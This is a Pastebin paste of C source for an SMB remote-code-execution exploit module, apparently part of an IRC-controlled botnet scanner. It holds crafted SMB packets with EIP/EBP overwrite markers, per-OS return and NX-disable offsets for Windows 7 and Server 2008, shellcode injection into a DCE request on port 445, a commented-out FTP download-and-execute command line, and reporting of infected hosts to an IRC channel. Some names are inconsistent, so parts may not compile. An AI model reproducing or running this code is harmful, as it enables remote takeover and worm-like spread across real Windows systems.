Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include "incs.h"
- #include "funcs.h"
- #define WIN32_LEAN_AND_MEAN
- #ifndef NO_ADVSCAN
- unsigned char packetnego[] =
- "\x00\x00\x00\x55"
- "\xff\x53\x4d\x42\x72\x00\x00\x00\x00\x98\x53\xc8\x00\x00\x00\x00"
- "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe\x00\x00\x00\x00"
- "\x11\x05\x00\x03\x0a\x00\x01\x00\x04\x11\x00\x00\x00\x00\x01\x00"
- "\x00\x00\x00\x00\xfd\xe3\x00\x80\x1a\x49\xf9\x22\xfb\x86\xca\x01"
- "\x88\xff\x00\x10\x00\xf0\xe4\x54\xc4\x50\x6c\xb2\x4a\xb9\x3a\x6b"
- "\xcf\xb0\x8c\x8d\xaf";
- unsigned char packetsession[] =
- "\x00\x00\x01\x3d"
- "\xff\x53\x4d\x42\x73\x16\x00\x00\xc0\x98\x07\xc8\x00\x00\x00\x00"
- "\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe\x00\x08\x10\x00"
- "\x04\xff\x00\x3d\x01\x00\x00\xc8\x00\x12\x01\x4e\x54\x4c\x4d\x53"
- "\x53\x50\x00\x02\x00\x00\x00\x0c\x00\x0c\x00\x38\x00\x00\x00\x15"
- "\x82\x8a\xe2\x16\x7a\x68\x5f\xc6\x0c\x78\xd8\x00\x00\x00\x00\x00"
- "\x00\x00\x00\x84\x00\x84\x00\x44\x00\x00\x00\x05\x01\x28\x0a\x00"
- "\x00\x00\x0f\x46\x00\x55\x00\x43\x00\x4b\x00\x55\x00\x32\x00\x02"
- "\x00\x0c\x00\x46\x00\x55\x00\x43\x00\x4b\x00\x55\x00\x32\x00\x01"
- "\x00\x0c\x00\x46\x00\x55\x00\x43\x00\x4b\x00\x55\x00\x32\x00\x04"
- "\x00\x22\x00\x66\x00\x75\x00\x63\x00\x6b\x00\x75\x00\x32\x00\x2e"
- "\x00\x74\x00\x65\x00\x73\x00\x74\x00\x2e\x00\x6c\x00\x6f\x00\x63"
- "\x00\x61\x00\x6c\x00\x03\x00\x22\x00\x66\x00\x75\x00\x63\x00\x6b"
- "\x00\x75\x00\x32\x00\x2e\x00\x74\x00\x65\x00\x73\x00\x74\x00\x2e"
- "\x00\x6c\x00\x6f\x00\x63\x00\x61\x00\x6c\x00\x06\x00\x04\x00\x01"
- "\x00\x00\x00\x07\x00\x08\x00\xe8\x62\xc8\x16\xfb\x86\xca\x01\x00"
- "\x00\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00"
- "\x73\x00\x20\x00\x35\x00\x2e\x00\x31\x00\x00\x00\x57\x00\x69\x00"
- "\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00"
- "\x30\x00\x30\x00\x20\x00\x4c\x00\x41\x00\x4e\x00\x20\x00\x4d\x00"
- "\x61\x00\x6e\x00\x61\x00\x67\x00\x65\x00\x72\x00\x00";
- unsigned char packetsession2[] =
- "\x00\x00\x00\x75"
- "\xff\x53\x4d\x42\x73\x00\x00\x00\x00\x98\x07\xc8\x00\x00\x00\x00"
- "\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe\x00\x08\x20\x00"
- "\x04\xff\x00\x75\x00\x01\x00\x00\x00\x4a\x00\x00\x57\x00\x69\x00"
- "\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x35\x00\x2e\x00"
- "\x31\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00"
- "\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00\x4c\x00"
- "\x41\x00\x4e\x00\x20\x00\x4d\x00\x61\x00\x6e\x00\x61\x00\x67\x00"
- "\x65\x00\x72\x00\x00";
- unsigned char uszSessionSetupAndX3[] =
- "\x00\x00\x00\x6B"
- "\xFF\x53\x4D\x42\x73\x00\x00\x00\x00\x18\x01\x20\x00\x00\x00\x00"
- "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x75\xC0\x00\x00\xD7\x6D"
- "\x0D\xFF\x00\x00\x00\xDF\xFF\x02\x00\x01\x00\x00\x00\x00\x00\x00"
- "\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x2E\x00\x00\x57\x4F"
- "\x52\x4B\x47\x52\x4F\x55\x50\x00\x57\x69\x6E\x64\x6F\x77\x73\x20"
- "\x32\x30\x30\x30\x20\x32\x31\x39\x35\x00\x57\x69\x6E\x64\x6F\x77"
- "\x73\x20\x32\x30\x30\x30\x20\x35\x2E\x30\x00";
- unsigned char packetree[] =
- "\x00\x00\x00\x38"
- "\xff\x53\x4d\x42\x75\x00\x00\x00\x00\x98\x07\xc8\x00\x00\x00\x00"
- "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xff\xfe\x00\x08\x30\x00"
- "\x07\xff\x00\x38\x00\x01\x00\xff\x01\x00\x00\xff\x01\x00\x00\x07"
- "\x00\x49\x50\x43\x00\x00\x00\x00";
- unsigned char packetntcreate[] =
- "\x00\x00\x00\x87"
- "\xff\x53\x4d\x42\xa2\x00\x00\x00\x00\x98\x07\xc8\x00\x00\x00\x00"
- "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x84\x08\x00\x08\x40\x00"
- "\x2a\xff\x00\x87\x00\x00\x00\x40\x01\x00\x00\x00\x00\x00\x00\x00"
- "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
- "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00"
- "\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
- "\x02\x00\xff\x05\x00\xff\xa2\x00\x00\x00\x00\x00\x00\x00\x00\x00"
- "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x9b\x01\x12"
- "\x00\x9b\x01\x12\x00\x00\x00";
- /*
- unsigned char packetrans[] =
- "\x00\x00\x00\x5a"
- "\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x98\x07\xc8\x00\x00\x00\x00"
- "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x30\x0b\x00\x08\x50\x00"
- "\x0a\x02\x00\x18\x00\x00\x00\x02\x00\x38\x00\x00\x00\x18\x00\xff"
- "\xff\x00\x00\x00\x00\x1f\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00"
- "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x50\x51\x52\x53\x54\x55\x56"
- "\x02\x61\x42\x42\x42\x42\x41\x41\x41\x41"; //+EBP+EIP;
- */
- //EBP = "\x42\x42\x42\x42"
- //EIP = "\x41\x41\x41\x41"
- unsigned char packetrans[] =
- "\x00\x00\x02\x3F"
- "\xFF\x53\x4D\x42\x2F\x00\x00\x00\x00\x18\x01\x20\x00\x00\x00\x00"
- "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x78\x04\x00\x08\x40\x00"
- "\x0E\xFF\x00\x00\x00\x00\x40\x00\x00\x00\x00\xFF\xFF\xFF\xFF\x08"
- "\x00\x00\x02\x00\x00\x00\x02\x3F\x00\x00\x00\x00\x00\x00\x02\x05"
- "\x00\x0B\x03\x10\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\xD0"
- "\x16\xD0\x16\x00\x00\x00\x00\x0B\x00\x00\x00\x00\x00\x01\x00\x84"
- "\x23\x33\xB3\x1F\x08\x95\x0E\x2C\x4A\x30\x2C\xC3\x08\x07\x83\x01"
- "\x00\x03\x00\x04\x5D\x88\x8A\xEB\x1C\xC9\x11\x9F\xE8\x08\x00\x2B"
- "\x10\x48\x60\x02\x00\x00\x00\x01\x00\x01\x00\xBE\x0E\x1E\xA7\x54"
- "\x61\x21\xE0\x91\x04\x5A\xE4\x23\xE6\x82\xD0\x02\x00\x03\x00\x04"
- "\x5D\x88\x8A\xEB\x1C\xC9\x11\x9F\xE8\x08\x00\x2B\x10\x48\x60\x02"
- "\x00\x00\x00\x02\x00\x01\x00\xE9\xDF\x4F\x7F\xE7\x2B\x6B\x4D\xA5"
- "\xD4\xAA\x3C\x83\x15\x03\xA1\x00\x00\x02\x00\x04\x5D\x88\x8A\xEB"
- "\x1C\xC9\x11\x9F\xE8\x08\x00\x2B\x10\x48\x60\x02\x00\x00\x00\x03"
- "\x00\x01\x00\xAD\x50\x9A\xD8\x19\xB9\x5C\xF3\x1C\x99\x41\x53\xAD"
- "\x1E\x60\x75\x01\x00\x00\x00\x04\x5D\x88\x8A\xEB\x1C\xC9\x11\x9F"
- "\xE8\x08\x00\x2B\x10\x48\x60\x02\x00\x00\x00\x04\x00\x01\x00\x97"
- "\x21\x7E\x9F\x40\x9E\xC9\xBE\xD7\xEB\xA4\xB0\xF1\x37\xFE\x95\x05"
- "\x00\x03\x00\x04\x5D\x88\x8A\xEB\x1C\xC9\x11\x9F\xE8\x08\x00\x2B"
- "\x10\x48\x60\x02\x00\x00\x00\x05\x00\x01\x00\xFD\xC8\x52\x8B\x85"
- "\xCC\x74\x3A\x8B\x15\x29\xE0\x30\xCD\xAC\x16\x02\x00\x01\x00\x04"
- "\x5D\x88\x8A\xEB\x1C\xC9\x11\x9F\xE8\x08\x00\x2B\x10\x48\x60\x02"
- "\x00\x00\x00\x06\x00\x01\x00\x5B\xDE\xCB\x9A\xE1\x25\x83\x72\x1F"
- "\x10\xA3\xA2\x92\xE7\x36\x76\x00\x00\x02\x00\x04\x5D\x88\x8A\xEB"
- "\x1C\xC9\x11\x9F\xE8\x08\x00\x2B\x10\x48\x60\x02\x00\x00\x00\x07"
- "\x00\x01\x00\x74\xF4\xCD\xC0\x09\x2D\x7F\xF3\xBE\xB8\x73\x35\x0C"
- "\x06\x52\x68\x01\x00\x00\x00\x04\x5D\x88\x8A\xEB\x1C\xC9\x11\x9F"
- "\xE8\x08\x00\x2B\x10\x48\x60\x02\x00\x00\x00\x08\x00\x01\x00\xE5"
- "\x6C\x25\xEA\xE1\x8A\x1B\xC2\x4A\x17\x56\x88\x29\xEE\xC3\x06\x01"
- "\x00\x02\x00\x04\x5D\x88\x8A\xEB\x1C\xC9\x11\x9F\xE8\x08\x00\x2B"
- "\x10\x48\x60\x02\x00\x00\x00\x09\x00\x01\x00\x26\x50\x70\x7D\x4D"
- "\x88\x82\xAF\x7B\x3D\x96\x1D\xEA\xEB\x17\x9A\x02\x00\x01\x00\x04"
- "\x5D\x88\x8A\xEB\x1C\xC9\x11\x9F\xE8\x08\x00\x2B\x10\x48\x60\x02"
- "\x00\x00\x00\x0A\x00\x01\x00"
- "\xC8\x4F\x32\x4B\x70\x16\xD3\x01\x12\x78\x5A\x47\xBF\x6E\xE1\x88"
- "\x03\x00\x00\x00"
- "\x04\x5D\x88\x8A\xEB"
- "\x1C\xC9\x11\x9F\xE8\x08\x00\x2B\x10\x48\x60\x02\x00\x00\x00"
- "\x02\x61\x42\x42\x42\x42\x41\x41\x41\x41"; //+EBP+EIP
- typedef enum {
- WINDOWS7 = 0,
- WINDOWS2k8 = 1
- } OD;
- typedef struct {
- OD osID;
- unsigned long ulRet;
- unsigned long ulDisableNx;
- unsigned long ulScratch;
- } OFFSETS;
- OFFSETS exploitOffsets[] = {
- {WINDOWS7, 0x001F1CB0, 0x001F1CB0, 0x00020408},
- {WINDOWS2K8, 0x0100129E, 0x0100129E, 0x00020408},
- };
- int srvbsssize=344;
- BOOL WIN7SMB(char *target, void* conn,EXINFO exinfo) {
- IRC* irc=(IRC*)conn;
- WSADATA wsaData;
- SOCKET sockClient;
- SOCKADDR_IN sAddr;
- char szRecv[4096];
- unsigned short ushSmbLen=0;
- int nLen;
- unsigned short ushUserID, ushTreeID, ushFID;
- if (WSAStartup(MAKEWORD(2, 0), &wsaData) != NO_ERROR) {
- return FALSE;
- }
- int fingerprint=FpHost(exinfo.ip, FP_RPC);
- if (fingerprint == OS_UNKNOWN) {
- fingerprint=FpHost(exinfo.ip, FP_SMB);
- }
- sockClient = fsocket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
- if (sockClient == INVALID_SOCKET) return FALSE;
- sAddr.sin_family = AF_INET;
- sAddr.sin_addr.s_addr = finet_addr(exinfo.ip);
- sAddr.sin_port = fhtons(445);
- if (connect(sockClient, (SOCKADDR *)&sAddr, sizeof(sAddr)) == SOCKET_ERROR) {
- closesocket(sockClient);
- return FALSE;
- }
- if (send(sockClient, (const char*)packetnego, sizeof(packetnego) - 1, 0) == SOCKET_ERROR) {
- closesocket(sockClient);
- return FALSE;
- }
- nLen = recv(sockClient, szRecv, 4096, 0);
- if (nLen < 1) {
- closesocket(sockClient);
- return FALSE;
- }
- if (send(sockClient, (const char*)packetsession, sizeof(packetsession) - 1, 0) == SOCKET_ERROR) {
- closesocket(sockClient);
- return FALSE;
- }
- nLen = recv(sockClient, szRecv, 4096, 0);
- if (nLen <= 10) {
- closesocket(sockClient);
- return FALSE;
- }
- ushUserID = *(WORD *)(szRecv + 32);
- memcpy(packetsession2 + 32, (char *)&ushUserID, 2);
- if (send(sockClient, (const char*)packetsession2, sizeof(packetsession2) - 1, 0) == SOCKET_ERROR) {
- closesocket(sockClient);
- return FALSE;
- }
- nLen = recv(sockClient, szRecv, 4096, 0);
- if (nLen <= 10) {
- closesocket(sockClient);
- return FALSE;
- }
- if (send(sockClient, (const char*)packetntcreate, sizeof(packetntcreate) - 1, 0) == SOCKET_ERROR) {
- closesocket(sockClient);
- return FALSE;
- }
- nLen = recv(sockClient, szRecv, 4096, 0);
- if (nLen <= 10) {
- closesocket(sockClient);
- return FALSE;
- }
- ushUserID = *(WORD *)(szRecv + 32);
- memcpy(packetree + 32, (char *)&ushUserID, 2);
- if (send(sockClient, (const char*)packetree, sizeof(packetree) - 1, 0) == SOCKET_ERROR) {
- closesocket(sockClient);
- return FALSE;
- }
- nLen = recv(sockClient, szRecv, 4096, 0);
- if ((nLen <= 10) || (szRecv[9] != 0)) {
- closesocket(sockClient);
- return FALSE;
- }
- ushTreeID = *(WORD *)(szRecv + 28);
- memcpy(packetntcreate + 28, (char *)&ushTreeID, 2);
- memcpy(packetntcreate + 32, (char *)&ushUserID, 2);
- if (send(sockClient, (const char*)packetntcreate, sizeof(packetntcreate) - 1, 0) == SOCKET_ERROR ) {
- closesocket(sockClient);
- return FALSE;
- }
- nLen = recv(sockClient, szRecv, 4096, 0);
- if ((nLen <= 10) || (szRecv[9] != 0)) {
- closesocket(sockClient);
- return FALSE;
- }
- ushFID = *(WORD *)(szRecv + 42);
- memcpy(packetsession + 28, (char *)&ushTreeID, 2);
- memcpy(packetsession + 32, (char *)&ushUserID, 2);
- memcpy(packetsession + 41, (char *)&ushFID, 2);
- if (send(sockClient, (const char*)packetsession, sizeof(packetsession) - 1, 0) == SOCKET_ERROR) {
- closesocket(sockClient);
- return FALSE;
- }
- nLen = recv(sockClient, szRecv, 4096, 0);
- if ((nLen <= 10) || (szRecv[9] != 0)) {
- closesocket(sockClient);
- return FALSE;
- }
- memcpy(packetsession2 + 28, (char *)&ushTreeID, 2);
- memcpy(packetsession2 + 32, (char *)&ushUserID, 2);
- memcpy(packetsession2 + 41, (char *)&ushFID, 2 );
- if (send(sockClient, (const char*)packetsession2, sizeof(packetsession2) - 1, 0 ) == SOCKET_ERROR ) {
- closesocket(sockClient);
- return FALSE;
- }
- nLen = recv(sockClient, szRecv, 4096, 0);
- if ((nLen <= 10) || (szRecv[9] != 0)) {
- closesocket(sockClient);
- return FALSE;
- }
- memcpy(packetrans + 28, (char *)&ushTreeID, 2);
- memcpy(packetrans + 32, (char *)&ushUserID, 2);
- memcpy(packetrans + 41, (char *)&ushFID, 2);
- memcpy(uszDceRequest + 273, bs, srvbsssize); //send shellcode here and sizeof shellcode
- /*
- char szCmdLine[256];
- _snprintf(szCmdLine, sizeof(szCmdLine) - 1,
- "cmd /c echo open %s %s > i&echo user %s %s >> i &echo get %s >> i &echo quit >> i &ftp -n -s:i &%s\r\n",
- /*szFTPAddr, szFTPPort, szFTPUser, szFTPPass, szFTPFilename, szFTPFilename*/);
- int nShellcodeLength = srvbsssize; // sizeof(uszShellcode) + strlen(szCmdLine);
- unsigned char *uszFormattedShellcode = (unsigned char *)malloc(nShellcodeLength);
- memcpy(uszFormattedShellcode, uszShellcode, sizeof(uszShellcode) - 1);
- memcpy(uszFormattedShellcode + sizeof(uszShellcode) - 1, szCmdLine, strlen(szCmdLine) + 1);
- unsigned long ulEncodedSize = GetRNS0EncodedSize(nShellcodeLength);
- char *pEncodedShellcode = (char *)malloc(ulEncodedSize);
- unsigned long ulResult = EncodeRNS0(pEncodedShellcode, ulEncodedSize,(char *)uszFormattedShellcode, nShellcodeLength);
- if (ulResult != ulEncodedSize) {
- return FALSE;
- }
- */
- if(fingerprint==OS_WIN7) {
- //memcpy(uszDceRequest + 273, pEncodedShellcode, ulResult);
- memcpy(uszDceRequest + 657, &exploitOffsets[WINDOWS7].ulScratch, 4);
- memcpy(uszDceRequest + 661, &exploitOffsets[WINDOWS7].ulDisableNx, 4);
- memcpy(uszDceRequest + 669, &exploitOffsets[WINDOWS7].ulRet, 4);
- }
- if(fingerprint==OS_WIN2K8) {
- //memcpy(uszDceRequest + 273, pEncodedShellcode, ulResult);
- memcpy(uszDceRequest + 657, &exploitOffsets[WINDOWS2K8].ulScratch, 4);
- memcpy(uszDceRequest + 661, &exploitOffsets[WINDOWS2K8].ulDisableNx, 4);
- memcpy(uszDceRequest + 669, &exploitOffsets[WINDOWS2K8].ulRet, 4);
- }
- if (send(sockClient, (const char*)packetrans, sizeof(packetrans) - 1, 0) == SOCKET_ERROR) {
- fclosesocket(sockClient);
- return FALSE;
- }
- if (GoInMe(exinfo,bindport)) {
- eholex[exinfo.eholex].stats++;
- if (exinfo.verbose && !exinfo.notice) {
- irc->privmsg(target,"%s %s -> %s (Ex: %d)", scan_title, eholex[exinfo.eholex].name, exinfo.ip, eholex[exinfo.eholex].stats);
- }
- if (exinfo.notice) {
- irc->notice(target,"%s %s -> %s (Ex: %d)", scan_title, eholex[exinfo.eholex].name, exinfo.ip, eholex[exinfo.eholex].stats);
- }
- }
- nLen = frecv(sockClient, szRecv, 4096, 0);
- if ((nLen <= 10) || (szRecv[9] != 0)) {
- fclosesocket(sockClient);
- return FALSE;
- }
- CloseNullSession(exinfo.ip);
- return TRUE;
- //free(uszFormattedShellcode);
- //free(pEncodedShellcode);
- }
- #endif
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement